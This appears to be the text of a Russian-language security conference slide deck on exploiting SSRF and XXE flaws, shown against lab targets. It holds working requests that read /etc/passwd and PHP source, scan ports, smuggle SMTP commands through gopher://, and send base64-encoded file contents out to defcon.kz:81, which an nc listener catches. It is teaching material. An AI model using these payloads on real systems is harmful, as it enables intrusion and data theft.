Находим и эксплуатируем уязвимости. Теория и...

Server Side Request Forgery(SSRF)

Батыржан - bit1Специалист «ЦАРКА»

Атакующий Уязвимый сервер

LANИнтернет

Чтение файлов (file:///etc/passwd) DOS (file:///dev/urandom) Сканирование портов и хостов

(http://host:port) Wrappers

(php,dict,gopher, etc...)

Чтение файлов

GET /test/ssrf/?url=file:///etc/passwd HTTP/1.1Host: 192.168.2.112User-Agent: Mozilla/5.0Accept: text/htmlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.2.112/test/ssrf/Connection: close

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/sh

Запрос Ответ


DOS

GET /test/ssrf/?url=file:///dev/urandom HTTP/1.1Host: 192.168.2.112User-Agent: Mozilla/5.0Accept: text/htmlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.2.112/test/ssrf/Connection: close

5 U e* ' "3 )p t % AnJ}�� { $ ] 9Ӊ KV 37=@8 !�� Ђ k %&U , |1/ I� �� 8 d l юF cR@ g|{ s<q DO� �� I g D; H Ѧ ʸ O 8 q^(V�� Ւ �� 6 m V V E p�� 6چ�@�� dg>UP9 8�� b \ Y�� \׳ UTRc� ��:( Р t >H9] $<yD nx� �� I g D; H Ѧ ʸ O 8 q^(V�� Ւ ��



Сканирование портов

GET /test/ssrf/?url=http://defcon.kz:22 HTTP/1.1Host: 192.168.2.112User-Agent: Mozilla/5.0Accept: text/htmlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.2.112/test/ssrf/Connection: close

HTTP/1.1 200 OKDate: Sun, 23 Oct 2016 04:49:58 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-2ubuntu5Content-Length: 143Connection: closeContent-Type: text/html

SSH-2.0-OpenSSH_5.3



Сканирование портов

GET /test/ssrf/?url=http://defcon.kz:11 HTTP/1.1Host: 192.168.2.112User-Agent: Mozilla/5.0Accept: text/htmlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.2.112/test/ssrf/Connection: close

HTTP/1.1 502Date: Sun, 23 Oct 2016 04:49:58 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-2ubuntu5Content-Length: 12Connection: closeContent-Type: text/html

Bad Gateway



Атакующий

Уязвимый сервер

defcon.kz

http://defcon.kz:22

Атакующий


defcon.kz

http://defcon.kz:22

http://defcon.kz:22

Атакующий


defcon.kz

http://defcon.kz:22

http://defcon.kz:22

200 OK

SSH-2.0-OpenSSH_5.3

Атакующий


defcon.kz

http://defcon.kz:22

http://defcon.kz:22

200 OK

SSH-2.0-OpenSSH_5.3

200 OKSSH-2.0-OpenSSH_5.3

Wrapper's

file:// — Accessing local filesystem glob:// — Find pathnames matching pattern

http:// — Accessing HTTP(s) URLs phar:// — PHP Archive

ftp:// — Accessing FTP(s) URLs ssh2:// — Secure Shell 2

php:// — Accessing various I/O streams rar:// — RAR

zlib:// — Compression Streams ogg:// — Audio streams

data:// — Data (RFC 2397) expect:// — Process Interaction Stre-ams

gopher:// — Data (RFC 1436)

GET /test/ssrf/?url=ftp://user:[email protected] HTTP/1.1Host: 192.168.2.112User-Agent: Mozilla/5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.2.112/test/ssrf/Connection: close

BruteForce

URL-Encodegopher://defcon.kz:25/_%0d%0aHELO%20defcon.kz%0d%0aMAIL%20FROM%3A%20%[email protected]%3E%0d%0aRCPT%20TO%3A%20%[email protected]%3E%0d%0aDATA%0d%0aHello!%0d%0a.

gopher://defcon.kz:25/_HELO defcon.kzMAIL FROM: <[email protected]>RCPT TO: <[email protected]>DATAHello!.

XML External Entity (XXE)

Вывод в xmlOut-of-band Error-basedBlind

Простой запрос

<reset> <login>bee</login> <secret>Any bugs?</secret></reset>

bee's secret has been reset!




<!DOCTYPE reset[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><reset> <login>&xxe;</login> <secret>Any bugs?</secret></reset>

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/sh




<!DOCTYPE reset[<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www//index.php">]><reset> <login>&xxe;</login> <secret>Any bugs?</secret></reset>

PD9waHANCg0KLyoNCg0KYldBUFAsIG9yIGEgYnVnZ3kgd2ViIGFwcGxpY2F0aW9uLCBpcyBhIGZyZWUgYW5kIG9wZW4gc291cmNlIGRlbGliZXJhdGVseSBpbnNlY3VyZSB3ZWIgYXBwbGljYXRpb24uDQpJdCBoZWxwcyBzZWN1cml0eSBLbnRodXNpYXN0cywgZGV2ZWxvcGVycyBhbmQgc3R1ZGVudHMgdG8gZGlzY292ZXIgYW5kIHRvIHByZXZlbnQgd2ViIHZ1bG5lcmFiaWxpdGllcy4NCmJXQVBQIGNvdmVycyBhbGwgbWFqb3Iga



Out-of-Band

<!DOCTYPE reset [<!ENTITY % remote SYSTEM http://defcon.kz/xxe.txt"> % remote; % intern; % trick; ]><reset> <login>bee</login> <secret>Any bugs?</secret></reset>

defcon.kz/xxe.txt<!ENTITY % payl SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % intern "<!ENTITY % trick SYSTEM 'http://defcon.kz:81/result?%payl;'>">

sudo nc -lvvp 81listening on [any] 81 ...connect to [defcon.kz] from ****** [88888] 39300Cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3IvC2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDOyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpb




Error-based

<!DOCTYPE reset [<!ENTITY % remote SYSTEM http://defcon.kz/xxe.txt"> % remote; % intern; % trick; ]><reset> <login>bee</login> <secret>Any bugs?</secret></reset>

Invalid URI: httpCm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3IvC2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDOyOjI6YmluOi9iaW46L3Vzci9zYMluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpb://defcon.kz:81/ in Entity, line 3 in /var/www/html/xxe/xxe2.php


defcon.kz/xxe.txt<!ENTITY % payl SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % intern "<!ENTITY % trick SYSTEM 'http%payl;://defcon.kz:81/result?%payl;'>">

Wrapper's<?php print_r (curl_version()); ?>

ssrf biblehttp://l.goodbits.io/l/8fb7igt4

Находим и эксплуатируем уязвимости. Теория и...

Technology